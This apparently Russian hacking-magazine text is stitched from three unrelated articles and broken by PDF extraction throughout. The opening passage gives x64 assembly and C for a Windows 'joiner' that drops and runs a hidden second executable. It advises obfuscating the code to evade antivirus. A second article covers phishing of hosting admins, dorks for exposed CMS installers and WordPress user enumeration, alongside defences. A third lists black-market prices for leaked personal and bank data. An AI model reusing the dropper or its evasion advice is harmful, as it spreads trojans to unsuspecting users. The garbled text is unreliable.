           result.CreateProcessA = getter(libname, "CreateProcessA",
LdrGetDllHandle,
       LdrGetProcedureAddress);
           result.GetTempPathA = getter(libname, "GetTempPathA",
LdrGetDllHandle,
       LdrGetProcedureAddress);
           result.lstrcatA = getter(libname, "lstrcatA", LdrGetDllHandle,
       LdrGetProcedureAddress);
           result.VirtualAlloc = getter(libname, "VirtualAlloc",
LdrGetDllHandle,
       LdrGetProcedureAddress);
           result.VirtualFree = getter(libname, "VirtualFree",
LdrGetDllHandle,
       LdrGetProcedureAddress);
           result.WriteFile = getter(libname, "WriteFile", LdrGetDllHandle,
       LdrGetProcedureAddress);

     return result;
}

Вся высоко уров невая логика выг лядит сле дующим обра зом:

   sizeOfPayload QWORD 0
 OEP           QWORD 0

 launcher proc
     var_ntdllBase          = qword ptr ‐10h

         var_ldrProcedureAddr = qword ptr ‐20h
     var_ldrLoadDll         = qword ptr ‐30h
     var_delta              = qword ptr ‐40h
     var_apis               = qword ptr ‐90h

     call delta
delta:
     pop rax
         mov rcx, offset delta
       sub rax, rcx
       sub rsp, 100h
       mov [rsp+100h+var_delta], rax
       jmp short begin
   getprocaddr:

        db 'LdrGetProcedureAddress',0
   getdllhandle:

        db 'LdrGetDllHandle',0
begin:
         mov rax, offset GetNtdllByModuleList
       add rax, [rsp+100h+var_delta]
     call rax
       mov [rsp+100h+var_ntdllBase], rax
       mov rcx, rax
       lea rdx, getprocaddr
         mov rax, offset NtGetProcAddressAsm
       add rax, [rsp+100h+var_delta]
     call rax
       mov [rsp+100h+var_ldrProcedureAddr], rax
       mov rcx, [rsp+100h+var_ntdllBase]
       lea rdx, getdllhandle
         mov rax, offset NtGetProcAddressAsm
       add rax, [rsp+100h+var_delta]
     call rax
       mov [rsp+100h+var_ldrLoadDll], rax
       mov rdx, rax
       mov r8, [rsp+100h+var_ldrProcedureAddr]
         mov r9, offset GetProcedureAddressAsm
       add r9, [rsp+100h+var_delta]
       lea rcx, [rsp+100h+var_apis]
         mov rax, offset CreateAddressStructAsm
       add rax, [rsp+100h+var_delta]
     call rax
       mov r8, rax
       lea rdx, sizeOfPayload
           mov rdx, qword ptr [rdx]
       lea rcx, FinishMarker
         mov rax, offset DropToDiskAndExecuteAsm
       add rax, [rsp+100h+var_delta]
     call rax

       lea rax, OEP
           mov rax, qword ptr [rax]

         mov rcx, gs:[60h] ; GetModuleHanldeW(nullptr)
       mov rcx, [rcx+10h]
       add rax, rcx

       add rsp, 100h

     jmp rax

Код работа ет бла года ря  тому,  что раз мер наг рузки рас положен в  перемен‐ 
ной  ,  а  сам  кон тент  вто рого  исполня емо го  фай ла  —  сра зу
за  шелл‐кодом.  Весь  код  про екта  дос тупен  по  ссыл ке:

.

sizeOfPayload

https://bitbucket.org/KulykIevgen/joiner/src/master/

ВЫВОДЫ
Ко неч но,  через  какое‐то  вре мя  любое  анти вирус ное ПО научит ся  детек тить
этот код, но, пос коль ку он дос тупен в виде исходни ков, его мож но модифи‐ 
циро вать, обфусци ровать, под вергать мутаци ям, получая каж дый раз чис тые
фай лы. А улуч шения, несом ненно, понадо бят ся.

Здесь понадо бит ся под дер жка и  ста рой доб рой архи тек туры  х86,  и  всей
линей ки Windows, да и над скрыт ностью порабо тать будет нелиш ним. Сей час
ана литик может уви деть неч то подоз ритель ное, прос то пос мотрев, какой сек‐ 
ции при над лежит точ ка вхо да, так как если она рас положе на в пос ледней сек‐ 
ции, то файл под вергал ся модифи каци ям.

В  сети  час то  мож но  уви деть  жалобы,  нап ример  на  рас простра ните лей
«таб леток от жад ности» (кря ков и кей генов), за то, что в таком ПО мно го тро‐ 
янских прог рамм. Но теперь ты зна ешь, как эти тро яны туда попада ют.
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ВЗЛОМ

Счи тает ся, что про шарен ные и иску шен ные
айтиш ники  надеж но  защище ны  от  сетевых
жуликов,  которые  нажива ются  на  довер‐ 
чивых  интернет‐поль зовате лях.  Одна ко
сущес тву ет  катего рия  зло умыш ленни ков,
которые  занима ются  кон крет но  обма ном
адми нис тра торов  вир туаль ных  сер веров.
Сегод ня  мы  погово рим  об  исполь зуемых
ими методах  и  раз берем нес коль ко  харак‐ 
терных уяз вимых мест.

INFO

Пол ный текст этой статьи дос тупен без под писки
бла года ря спон сору —  ком пании  ,  одно му
из  самых  передо вых  хос тинг‐про вай деров

/VDS‐сер веров. RUVDS пред лага ет вир туаль‐ 
ные  сер веры  в  десяти  дата‐цен трах  уров ня
TIER3  и  выше  по  все му  миру,  низ кие  цены
от  30  руб лей  в  месяц,  удоб ный  мар кет плейс
и уста нов ку популяр ных обра зов в один клик.

RUVDS

VPS

ФИШИНГ
Вы пив  тра дици онный  утренний  кофе,  ты  запус каешь  поч товый  кли ент
и  неожи дан но  получа ешь  пись мо  от  сво его  про вай дера  с  напоми нани ем
о  том,  что  приш ло  вре мя  в  оче ред ной  раз  опла тить  хос тинг.  Кста ти,  пря мо
сей час мож но попол нить баланс со зна читель ной скид кой в честь годов щины
осво бож дения Изен гарда от засилья урук‐хаев.

Из дав радос тный боевой клич, ты перехо дишь по ссыл ке и толь ко тут, если
повезет,  замеча ешь  что‐то  нелад ное.  Да,  пись мо  выг лядит  безобид но:  оно
офор мле но  в  точ ности  так  же,  как  офи циаль ные  сооб щения  от  тво его  хос‐ 
тера,  текст  наб ран  тем же шриф том,  адрес  отпра вите ля —  вер ный. И  даже
в «под вале» на сво ем закон ном мес те рас положе ны ссыл ки на полити ку кон‐ 
фиден циаль нос ти,  пра вила  обра бот ки  пер сональ ных  дан ных  и  про чую
лабуду, которую ник то никог да не чита ет. Толь ко вот URL стра ницы авто риза‐ 
ции  в  адми нис тра тор ской  панели  нем ного  отли чает ся  от  нас тояще го,  да  и
SSL‐сер тификат на сай те вызыва ет подоз рения и у тебя, и у анти виру са. Ой,
а не фишинг ли это?

Фи шин говое окош ко вхо да в cPanel

По доб ные  ата ки,  нацелен ные  на  перех ват  учет ных  дан ных  от  админки
популяр ных  хос тингов,  в  пос леднее  вре мя  учас тились.  Мож но,  конеч но,
заподоз рить про вай дера в утеч ке базы кли ентов, но не торопись с вывода ми.
Раз добыть  нуж ную  информа цию  об  адми нис тра торах  сай тов,  хос тящих ся
у той или иной ком пании, не так слож но, как кажет ся.

Что бы получить обра зец кор поратив ного пись ма, дос таточ но зарегис три‐ 
ровать ся на сай те про вай дера или заказать тес товый хос тинг, который мно‐ 
гие  ком пании  бес плат но  пред лага ют  на  огра ничен ный  срок.  Даль ше  такое
пись мо мож но обра ботать в любом HTML‐редак торе, поменяв содер жимое.
Нет рудно  най ти  и  все  исполь зуемые  про вай дером  диапа зоны  IP‐адре сов:
для  этой  цели  соз дано  мно жес тво  сер висов,  нап ример  .  Ну  а  затем
мож но получить спи сок сай тов на каж дом из IP‐адре сов shared‐хос тинга, нап‐ 
ример  ,    или  .  Проб лемы  могут  воз никнуть  толь ко  с  про вай‐ 
дерами, которые пря чут ся за Cloudflare, но на каж дый хит рый винт, как извес‐ 
тно, най дет ся гай ка с левой резь бой.

xseo.in

здесь здесь тут

По иск сай тов на одном IP

Ос танет ся  толь ко  прой тись  по  сай там и  соб рать  адре са email  или  сге нери‐ 
ровать спи сок рас сылки под ста нов кой зна чений  ,  , 

,    к  каж дому    —  куда‐нибудь  да  попадем.  Потом  этот
спи сок мож но почис тить, исклю чив из него несущес тву ющие адре са. При чем
весь  про цесс  нет рудно  авто мати зиро вать  с  помощью  нес ложно го  скрип та
на питоне либо вос поль зовать ся одной из прог рамм авто мати чес кого сбо ра
email, которым скар мли вают спи сок URL для пос леду юще го пар синга (не ста‐ 
нем рек ламиро вать  их  в  этой  статье,  пос коль ку  прак тичес ки  весь  подоб ный
софт плат ный). Ну а счас тли вые юзе ры Kali могут исполь зовать для этих целей

, слег ка повозив шись с нас трой ками.

admin administrator con‐
tact info domain.tld

theHarvester

theHarvester — тул за для сбо ра email‐адре сов

По хожие  «пись ма  счастья»  зачас тую  при лета ют  адми нис тра торам  доменов,
осо бен но если их дан ные не скры ты за ано нимай зером Private Person. Здесь
для  пар синга  адре сов  элек трон ной  поч ты  исполь зуют ся 

.
пуб личные  базы

Whois
Су щес тву ет и целый ассорти мент ути лит, поз воля ющих выяс нить не толь ко

кон так тный  адрес  элек тро поч ты  адми на,  но  и  наиме нова ние  ком пании  —
регис тра тора  домена,  а  потом  соб рать  из  них  базу  для  фишин говой  рас‐ 
сылки.  В  этом  слу чае  адми нис тра тору  обыч но  пред лага ют  опла тить  прод‐ 
ление делеги рова ния домен ного име ни, перенап равив его на стра ницу пла‐ 
теж ной  сис темы  с  левым  номером  кошель ка  или  сче та.  Конеч но,  под вох
заметить нет рудно, но    если  ты  устал или на работе аврал,  то есть
шанс ненаро ком и лохануть ся.

с бодуна

Вот такие пись ма рас сыла ют жулики адми нис тра торам доменов —
это типич ное фишин говое сооб щение было получе но бук валь но на днях

А вот куда ведет кноп ка: за домен xakep.ru жулик про сил аж
целых 4800 руб лей

Ме тоды борь бы с подоб ными явле ниями прос ты:  по воз можнос ти  выбирать
про вай дера, исполь зующе го двух фактор ную авто риза цию для вхо да в панель
управле ния  хос тингом,  и,  разуме ется,  всег да  быть  вни матель ным,  что бы
не попасть ся на удоч ку про хин деев.

САМЫЙ ЦИМЕС
Кто в наше вре мя не исполь зует CMS? Все исполь зуют CMS! Мно гие про вай‐ 
деры  пред лага ют  услу гу  быс тро го  раз верты вания  наибо лее  популяр ных
движ ков, вро де WordPress, Joomla, Drupal, Bitrix, из кон тей нера: нажал кноп ку
в панели управле ния хос тингом, и готово. Но некото рые   поль зовате‐ 
ли  пред почита ют  ста вить  CMS  вруч ную,  ска чав  дис три бутив  с  сай та  раз‐ 
работ чика  и  залив  его  на  сер вер  через  FTP  —  потому  что  так  при выч нее,
надеж нее и по фэн шую. При этом они иног да забыва ют уда лить инстал ляци‐ 
онные скрип ты и слу жеб ные пап ки.

уни кумы

О   мы уже  , но акту аль ность опи‐ 
сан ных  при емов  от  это го  не  умень шает ся.  Нап ример,  всем  извес тно,  что
инстал ляци онный  скрипт  WordPress  при  уста нов ке  движ ка  рас полага ется
по  адре су  .  Давай  пос мотрим,  сколь ко  резуль татов
с таким URL най дет для нас великий Гуголь при исполь зовании коман ды 

.

Google Dorks не однократ но рас ска зыва ли

wp‐admin/install.php
in‐

url

Ко личес тво най ден ных ссы лок с коман дой inurl и при мер одно го из най ‐
ден ных сай тов

Бе зус ловно,  выдача  будет  силь но  замусо рен ной,  ведь  сре ди  лин ков  отоб‐ 
ража ется  мно го  ссы лок  на  форумы  с  обсужде нием  глю ков  WordPress.  Но,
хорошень ко покопав шись  в  этой  куче, мож но отыс кать и рабочие вари анты,
поз воля ющие нам поменять нас трой ки сай та, — один из них показан на кар‐ 
тинке  выше.  Фокус  удас тся,  если,  конеч но,  взлом щик  суме ет  подоб рать
валид ные дан ные базы. Мож но, нап ример, попытать счастья с исполь зовани‐ 
ем коман ды  ,  ука зав вто рой дирек тивой инте ресу ющий
нас URL, или исполь зовать тра дици онный брут форс.

intext:DB_PASSWORD

Пос мотреть  струк туру  скрип тов  в  WordPress  мож но  с  помощью  зап роса
.  Еще  есть  шанс  узнать  мно го  инте рес ного,

поис кав забытые скрип ты   зап росом  .
inurl:repair.php?repair=1

phpinfo() inurl:phpinfo.php

Один из обна ружен ных на прос торах интерне та фай лов с phpinfo()

Отыс кать  рабочие  скрип ты  инстал ляции  популяр ного  движ ка  Joomla мож но,
нап ример, с исполь зовани ем харак терно го заголов ка веб‐стра ницы: для это‐ 
го  подой дет  коман да  вро де  .  Один
из резуль татов поис ка по такому зап росу показан на иллюс тра ции ниже.

intitle:Joomla!  Web  installer

Ин стал лятор Joomla, дос тупный для всех жела ющих

В общем, если гра мот но исполь зовать спе циаль ные режимы поис ка, мож но
най ти  залитые  на  хос тинг  дис три бути вы  сис тем  управле ния  кон тентом
с  незавер шенной  инстал ляци ей  или  забыты ми  слу жеб ными  скрип тами
и помочь незадач ливому вла дель цу закон чить уста нов ку. Заод но зарегис три‐ 
ровав  в CMS  нового  адми на.  Бороть ся  с  подоб ным  нес ложно:  нуж но  все го
лишь  при бирать  за  собой  в  пап ках  на  сер вере  или  исполь зовать  кон тей‐ 
нериза цию — обыч но она более безопас на.

МИСКОНФИГУРЕЙШН
Из  пре дыду щего  раз дела  логич но  вытека ет  еще  одна  воз можность  поис ка
уяз вимос тей на вир туаль ных хос тах с пре дус танов ленной CMS: изъ яны в нас‐ 
трой ке  и  исполь зование  кон фигура ции  по  умол чанию.  И  в  WordPress,  и  в
Joomla,  и  в  дру гих  движ ках  обыч но  при сутс тву ет  огромное  количес тво  пла‐ 
гинов, име ющих извес тные уяз вимос ти с нас трой ками по умол чанию.

В  пер вую  оче редь  ата кующие  обыч но  пыта ются  выяс нить  вер сию  CMS,
уста нов ленную  на  хос те,  —  в  слу чае  с  WordPress  это  мож но  сде лать,  нап‐ 
ример, пос мотрев в  код веб‐стра ницы и поис кав  там метате ги вро де 

. Вер сию шаб лона под‐ 
ска жут строч ки наподо бие 

.

<meta 
name="generator" content="WordPress 5.3.6" />

https://site‐url/wp‐content/themes/theme_‐
name/css/main.css?ver=5.8.1

За тем мож но  поис кать  вер сии  инте ресу ющих  взлом щика  пла гинов: мно‐ 
гие  из  них  име ют  в  сво ем  сос таве  тек сто вые  фай лы  readme,  дос тупные
по  адре су  вро де 

. Подоб ные фай лы луч ше при бивать сра зу пос ле  уста нов ки пла‐ 
гинов, не оставляя их на хос тинге для любопыт ных иссле дова телей. Выяс нив
вер сии  ядра  движ ка, шаб лона  и  пла гинов,  хакер может  попытать ся  заюзать
извес тные уяз вимос ти.

https://site‐url/wp‐content/plugins/plugin_name/
readme.txt

Кро ме это го, на некото рых сай тах с WordPress мож но попытать ся выяс нить
имя адми нис тра тора, добавив к URL стро ку вида  . С нас трой ками
по умол чанию дви жок вер нет в URL валид ное наиме нова ние учет ки пер вого
поль зовате ля, зачас тую име юще го пра ва адми на. Оста нет ся толь ко сбру тить
пароль. Эта  воз можность  зависит  от  нес коль ких фак торов — исполь зуемой
темы,  уста нов ленных  пла гинов,  нас тро ек  веб‐сер вера.  Если  перечис ление
поль зовате лей  не  отклю чено,  мож но  переб рать  ID  всех  юзе ров  WordPress
и  соб рать  таким  нехит рым  спо собом  спи сок  логинов  для  бру та.  Отклю чить
воз можность  перебо ра  поль зовате лей мож но,  отре дак тировав  соот ветс тву‐ 
ющим обра зом   или  . Нап ример, так:

/?author=1

functions.php .htaccess

functions.php
         if ( ! is_admin() ) {

           if ( preg_match('/author=([0‐9]*)/i', $_SERVER['QUERY_STRING']) )
die();
           add_filter( 'redirect_canonical', 'check', 10, 2 );
}

         function check( $redirect, $request ) {
           if ( preg_match('/\?author=([0‐9]*)(\/*)/i', $request) ) die();
     else return $redirect;
}

.htaccess
 <IfModule mod_rewrite.c>

 RewriteCond %{QUERY_STRING} ^author=([0‐9]*) 
 RewriteRule .* http://yoursite.com/? [L,R=302] 

</IfModule>

Ну  и  конеч но  же,  нель зя  не  ска зать  о  том,  что  вла дель цы  сай тов  зачас тую
оставля ют дос тупны ми на чте ние некото рые дирек тории. В том же WordPress
чаще все го мож но попасть в эти слу жеб ные пап ки:

;• /wp­content/

;• /wp­content/plugins/

;• /wp­content/themes/

;• /wp­content/uploads/files/

.• /images/

Оче вид но, что делать там пос торон ним совер шенно нечего, пос коль ку в таких
пап ках может  хра нить ся  кри тич ная  информа ция,  в  том  чис ле  доволь но‐таки
кон фиден циаль ная.

Со дер жимое пап ки /uploads/files/ одной государс твен ной боль нич ки

Зап ретить дос туп к слу жеб ным пап кам мож но, опять же уста новив соот ветс‐ 
тву ющий шаб лон, или самым прос тым спо собом — помес тить в кор не каж дой
дирек тории  пус той  файл    (либо  добавить  в    сай та
строч ку  ).  У  мно гих  хос тинг‐про вай деров  эта  опция
про писа на по умол чанию, но далеко не у всех, в чем ты при желании можешь
убе дить ся самос тоятель но.

index.html .htaccess
Options  All  ‐Indexes

Кро ме того, нуж но осмотри тель но обра щать ся с коман дой  , осо бен‐ 
но  при  раз даче  прав  куче  вло жен ных  дирек торий  на  запись  и  выпол нение
скрип тов.  Пос ледс твия  таких  необ думан ных  дей ствий  могут  быть  самыми
неожи дан ными.

chmod

ЗАБЫТЫЕ УЧЕТКИ
Од нажды  к  авто ру  этих  строк  за  помощью  обра тилась  одна  зна комая  ком‐ 
пания, сайт которой ежед невно падал без видимых на то при чин. Вос ста нов‐ 
ление содер жимого сер верной пап ки из резер вной копии помога ло ненадол‐ 
го  —  в  какой‐то  совер шенно  неп рогно зиру емый  момент  все  пов торялось
вновь. Поиск уяз вимос тей и бэк доров в скрип тах тоже ничего не дал. Сисад‐ 
мин кон торы пил вед рами кор валол и бил ся головой о сер верную стой ку.

Толь ко  вдум чивое  курение  логов  помог ло  отыс кать  нас тоящую  при чину.
Ею  ока зал ся  «бро шен ный»  FTP‐дос туп,  соз данный  дав ным‐дав но  кем‐то
из уво лен ных сот рудни ков, знав ших пароль от панели управле ния хос тингом.
Видимо, не удов летво рив шись раз мером выход ного пособия, ново испе чен‐ 
ный  без работ ный  решил  отом стить  сво ему  быв шему  началь ству  таким  вот
незамыс ловатым  спо собом.  Пос ле  уда ления  всех  «лиш них»  FTP‐акка унтов
и  про филак тичес кой  сме ны  паролей  про казы  «барабаш ки»  наконец  пол‐ 
ностью прек ратились.

ВЫВОДЫ
Глав ное  ору жие  вла дель ца  интернет‐ресур са  в  борь бе  за  безопас ность —
осто рож ность,  осмотри тель ность  и  вни матель ность.  Мож но  и  нуж но  поль‐ 
зовать ся  услу гами  про верен ного  про вай дера,  одна ко  поговор ку  «доверяй,
но про веряй» при дума ли нег лупые люди. Какими бы надеж ными ни казались
решения  «из  короб ки»,  для  пущей  уве рен ности  нуж но  про верить  наибо лее
харак терные «узкие мес та» в кон фигура ции сай та самос тоятель но.

А потом переп роверить еще раз. Прос то на вся кий слу чай.
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ПРИВАТНОСТЬ

«Я  тебя  по  IP  пробью!»  Если  ты  получал  такие  угро зы
в  интерне те,  воз можно,  не  сто ит  отно сить ся  к  ним
с излишним скеп сисом. Потому что про бить по IP тебя дей‐ 
стви тель но  могут.  А  еще  по  номеру  телефо на,  бан ков ским
рек визитам, ФИО  и  даже  по фотог рафии.  И  я  говорю  не  о
полиции и ФСБ. Речь в статье пой дет о том, как это дела ют
кибер прес тупни ки, за которы ми зак репилось наз вание «про‐ 
бив щики».

ЧТО ЕСТЬ ПРОБИВ?
«Про бив» — это про тивоп равная услу га, с помощью которой зло умыш ленни‐ 
ки  получа ют  из  зак рытых  баз  дан ных  информа цию  о  кон крет ном  челове ке
или  орга низа ции.  Естес твен но,  за  день ги.  Сущес тво вание  такого  пред‐ 
ложения было бы невоз можно без инсай деров — сот рудни ков, у которых есть
дос туп к нуж ной информа ции для выпол нения слу жеб ных обя зан ностей.

Ин сай деры  занима ют  низ шее  положе ние  в  прес тупной  иерар хии.  Далее
сле дуют вер бовщи ки, в задачи которых вхо дит под бор инсай деров и рас четы
с ними. Воз глав ляют прес тупную цепоч ку вла дель цы сер висов про бива, они
прод вига ют  свои  про тивоп равные  услу ги  в  дар кне те,  вза имо дей ству ют
с покупа теля ми и пос тавщи ками информа ции. Иног да сер висы работа ют нап‐ 
рямую с инсай дерами, минуя вер бовщи ков.

На  каж дом  ува жающем  себя  форуме  в  дар кне те  при сутс тву ет  раз дел
с  услу гами  про бива.  Пред ложения  сер висов  так же  лег ко  най ти  в  Telegram.
Все  нас толь ко  прос то,  что  получе ние  информа ции  сво дит ся  к  паре  кли ков
и перечис лению денеж ных средств.

Ус ловно про бив мож но раз делить на три основные катего рии: государс твен‐ 
ный, мобиль ный и бан ков ский.

ЦЕНА ВОПРОСА
Ры нок  про бива  отлично  саморе гули рует ся,  про дав цы  ста рают ся  не  дем‐ 
пинго вать,  скид ки  пре дос тавля ются  при  опто вом  заказе  и  пос тоян ным  кли‐ 
ентам.  Если  пос тавщик  услу ги  не  в  сос тоянии  най ти  зап рашива емую
информа цию,  он  при обре тает  ее  у  кон курен тов,  не  получая  за  такой  заказ
при были,  но  зараба тывая  лояль ность  покупа теля.  В  оче ред ной  раз  убеж‐ 
даем ся,  что  прин ципы  сво бод ного  рын ка  Ада ма  Сми та  ока зались  отлично
при мени мы и на рын ке кибер прес тупнос ти.

Це на на услу ги скла дыва ется преж де все го исхо дя из дос тупнос ти дан ных.
То  есть  низ кая  цена  про бива  номера  у  кон крет ного  опе рато ра  сви детель‐ 
ству ет о том, что на рын ке мно го пред ложений от сот рудни ков этой ком пании,
готовых пре дос тавить дос туп к пер сональ ным дан ным або нен тов.

Мобильный пробив
Это самый объ емный по количес тву пред ложений вид про бива. Пред ложения
у сер висов схо жие:

про бив номера;•
по иск номеров (по ФИО и дате рож дения);•
де тали зация звон ков;•
де тали зация с базовы ми стан циями;•
«вспыш ка» (опре деле ние мес тополо жения або нен та по пос ледне му звон‐ 
ку);

•

бло киров ка номера;•
вос ста нов ление или пере офор мле ние сим‐кар ты.•

Са мыми дос тупны ми ока зались дан ные або нен тов «Билай на» — за 500 руб‐ 
лей мож но получить необ ходимую информа цию о вла дель це номера. Детали‐ 
зация звон ков або нен тов это го опе рато ра тоже недоро га — все го 1500 руб‐ 
лей и 5000 руб лей за эту же информа цию, но с ука зани ем базовых стан ций.

До роже  все го  про бить  номер  або нен та  «Теле2».  При  этом  узнать  номер
по  ФИО  и  дате  рож дения  не  получит ся  ни  у  одно го  про дав ца.  Воз можно,
из‐за  осо бен ностей  фун кци они рова ния  внут ренне го  ПО  уче та  або нен тов
«Теле2».

Про бить  номера  або нен тов  МТС  и  «МегаФон»  сто ит  800  руб лей
и  1500  руб лей  соот ветс твен но.  А  вот  детали зация  звон ков  обой дет ся  зна‐ 
читель но дороже — 12 тысяч руб лей у МТС и 14 тысяч руб лей у «МегаФо на».

Государственный пробив
Го сударс твен ные  базы  —  круп ней шие  агре гато ры  пер сональ ных  дан ных
граж дан РФ. Эта информа ция накап лива ется о каж дом из нас с самого рож‐ 
дения. Цен ность ее в том, что она не под лежит уда лению и редак тирова нию
(по край ней мере, это недос тупно для прос того граж данина).

Вот  спи сок  популяр ных  государс твен ных  баз,  по  которым  про бива ют
в дар кне те:

«Рос паспорт» (пас порта РФ, заг ранпас порта, фор ма № 1, брак, фото) —
от 1300 руб лей;

•

«Магис траль»  (все  офи циаль но  куп ленные  по  пас порту  билеты:  авиа,
желез нодорож ные, авто бусы, пароход) — от 2000 руб лей;

•

«Рубеж»  (пересе чение  гра ницы,  спи сок  пас сажиров  рей сов  по  аэро пор‐ 
там РФ, спи сок пас сажиров поез да по вок залам даль него сле дова ния) —
от 5000 руб лей;

•

«Интерпол» — цена по зап росу;•
МВД (судимос ти и пра вона руше ния) — от 1500 руб лей;•
«Миг рант» (учет инос тран ных граж дан) — от 3000 руб лей;•
«Поток»  (фото  авто моби лей  со  ста ционар ных  камер) —  от  4000  руб лей
в месяц;

•

ГИБДД (ДТП, штра фы, VIN, номера) — от 1300 руб лей;•
ФИС ГИБДД (дан ные пас порта и водитель ско го удос товере ния; зарегис‐ 
три рован ные авто и исто рия пра вона руше ний) — от 1300 руб лей;

•

ИБД  (пас пор тные  дан ные,  регис тра ция,  судимос ти,  розыск)  —
от 1500 руб лей;

•

«Ору жие» (зарегис три рован ное на граж данина ору жие) — от 2500 руб лей;•
ФНС (иму щес тво, налого вая, тру доус трой ство, сче та) — от 1300 руб лей;•
ЕГРН (Рос реестр) — от 1300 руб лей;•
НБКИ (наци ональ ное бюро кре дит ных исто рий) — от 1500 руб лей;•
«Экви факс» (кре дит ная исто рия) — от 1500 руб лей;•
ПФР  (фор ма  СЗИ‐6,  стаж  работы,  мес то  работы,  отчисле ния)  —
от 3000 руб лей;

•

ЗАГС  (муж,  жена,  дети,  сви детель ство  о  бра ке,  рек визиты  записи  акта
о зак лючении бра ка, регис тра ция по мес ту житель ства) — от 5000 руб лей;

•

ФССП (огра ниче ния, арес ты иму щес тва) — от 5000 руб лей.•

  в  пос леднее  вре мя  было  свя зано  с  появив шимися  на  теневых
форумах объ явле ниями о про даже дос тупа к ЕЦХД — сис теме, которая обра‐ 
баты вает  и  хра нит  дан ные  с  мос ков ских  камер.  Сто имость  такого  дос тупа
сос тавля ет 30 тысяч руб лей. Покупа тель получа ет воз можность под клю чить ся
к любой камере в режиме онлайн, а так же прос матри вать архивные виде оза‐ 
писи,  которые  хра нят ся  пять  дней.  Кажет ся,  пред ска зание Ору элла  о  Боль‐ 
шом Бра те начина ет сбы вать ся!

Мно го шума

По хожим  пред ложени ем    —
она  отпра вила  про бив щику  фото  и  за  16  тысяч  руб лей  через  пару  дней
получи ла под робный отчет о сво их переме щени ях по городу. Прав да, нуж но
отдать  дол жное  сот рудни кам  пра воох ранитель ных  орга нов.  Не  прош ло
и месяца, как в Мос кве    (ст. 285 и ст. 137 УК РФ)
в отно шении двух полицей ских, воз можно при час тных к про биву волон терки.
Навер няка  из‐за  скан дала  про бив щики  хотя  бы  вре мен но  перес танут  пред‐ 
лагать эту услу гу. Ник то не захочет прив лекать к себе лиш него вни мания.

вос поль зовалась  волон терка  «Рос ком сво боды»

воз будили уго лов ное дело

Банковский пробив
Утеч ка подоб ной информа ции может при вес ти к дос таточ но серь езным пос‐ 
ледс тви ям для ее вла дель ца, ведь бан ков ская информа ция весь ма кри тич на.
Вот при мер ный перечень информа ции о кли ентах самого круп ного и извес‐ 
тно го в Рос сии бан ка, которую мож но получить в дар кне те:

но мер бан ков ской кар ты — 3500 руб лей;•
при вязан ный телефон — 5000 руб лей;•
пас пор тные дан ные, про пис ка — 7500 руб лей;•
ко довое сло во — 15 000 руб лей;•
ба ланс (оста ток) на кар те — 5000 руб лей;•
ад реса бан коматов, которы ми поль зует ся кли ент, — 8000 руб лей;•
вы пис ка по номеру кар ты — 12 000 руб лей;•
вы пис ка по номеру рас четно го сче та — 18 000 руб лей;•
бло киров ка кар ты нав сегда — 2500 руб лей.•

Но не сто ит думать,  что  у дру гих бан ков дела обсто ят луч ше. Судя по пред‐ 
ложени ям, про бив щики готовы пре дос тавить информа цию из любого бан ка,
вхо дяще го  в  топ‐30  в  Рос сии.  С  поп равкой  на  то,  что  чем  мень ше  пред‐ 
ложений  от  инсай деров  и  чем  луч ше  работа ет  служ ба  безопас ности  бан ка,
тем выше цена про бива.

Другой пробив
По мимо телефон ного и бан ков ско го, есть и дру гие виды про бива.

Про бив акка унтов в соц сетях. Нап ример, за 15 000 руб лей про давец готов
пре дос тавить при вязан ный к стра нице VK номер, поч ту, дату регис тра ции,
IP‐адре са регис тра ции и пос ледне го вхо да.

•

Про бив IP‐адре са — 90 000 руб лей.•
Про бив  стра ницы  Instagram  или  Facebook  по  номеру  телефо на  —
от 5000 руб лей.

•

Встре чают ся  и  дру гие  услу ги.  Некото рые  пре дос тавля ются  по  зап росу
покупа теля,  и  чем  более  он  ред кий,  тем  выше  цена.  Про дав цы,  нап ример,
готовы искать инсай дера под исполне ние кон крет ного заказа.

ЧТО СВЕТИТ?
Уго лов ная  прак тика  в  отно шении  про бив щиков  весь ма  обширна.  Зло деи
прив лека ются к ответс твен ности по сле дующим стать ям Уго лов ного кодек са:

ч.  3  ст.  272  УК  РФ  «Неп равомер ный  дос туп  к  компь ютер ной  информа‐ 
ции» — до пяти лет лишения сво боды;

•

ч.  2  ст.  138  УК  РФ  «Наруше ние  тай ны  перепис ки,  телефон ных  перего‐ 
воров,  поч товых,  телег рафных  и  иных  сооб щений»  —  до  четырех  лет
лишения сво боды;

•

ч.  2  ст.  137  УК  РФ  «Наруше ние  неп рикос новен ности  час тной  жиз ни» —
до четырех лет лишения сво боды;

•

ч. 3 ст. 183 УК РФ «Незакон ные получе ние и раз гла шение све дений, сос‐ 
тавля ющих  ком мерчес кую,  налого вую  или  бан ков скую  тай ну» —  до  пяти
лет лишения сво боды;

•

ч.  1  ст.  201  УК  РФ  «Зло упот ребле ние  пол номочи ями» —  до  четырех  лет
лишения сво боды;

•

ч.  1  ст.  285  УК  РФ  «Зло упот ребле ние  дол жностны ми  пол номочи ями» —
до четырех лет лишения сво боды.

•

Су ды при этом ред ко при бега ют к при мене нию наказа ния в виде нас тоящих
тюрем ных  сро ков.  Чаще  про бив щики  при гова рива ются  к  условно му  сро ку,
огра ниче нию сво боды либо штра фу. Так же неред ки слу чаи, ког да уго лов ное
дело прек раща ется в свя зи с при мире нием сто рон или наз начени ем штра фа.

Боль ше  все го  при гово ров  выносит ся  в  отно шении  сот рудни ков  офи сов
про даж и салонов сотовой свя зи. Мно гие свя зыва ют это с низ кой зар пла той
и неог раничен ным дос тупом сот рудни ков к информа ции об або нен тах.

Нап ример, в Ива ново сот рудни ца АО «РТК» (вхо дит в МТС) за 150 руб лей
про бива ла дан ные або нен тов МТС и отправ ляла их сво ему зна комо му через
Telegram.  Все го  ей  уда лось  зарабо тать  око ло  3500  руб лей.  Суд  ока зал ся
снис ходите лен к обви няемой и   прек ратить уго лов ное дело с наз‐ 
начени ем штра фа в 15 тысяч руб лей.

пос тановил

В  пос леднее  вре мя  намети лась  тен денция  прив лекать  сот рудни ков  опе‐ 
рато ров  свя зи  за  про бив  по  статье  274.1  УК  РФ  «Неп равомер ное  воз дей‐ 
ствие  на  кри тичес кую  информа цион ную  инфраструк туру  РФ»,  которая  пре‐ 
дус матри вает  до  десяти  лет  лишения  сво боды.  Так,  Аба кан ский  город ской
суд  Рес публи ки  Хакасия    сот рудни ка  АО  «РТК»  (вхо дит  в  МТС)
к двум годам лишения сво боды условно за то, что он пре дос тавил треть ему
лицу детали зацию раз говоров четырех або нен тов МТС. Для это го он запол‐ 
нил  заяв ления  о  пре дос тавле нии  детали зации  соеди нений  от  або нен тов.
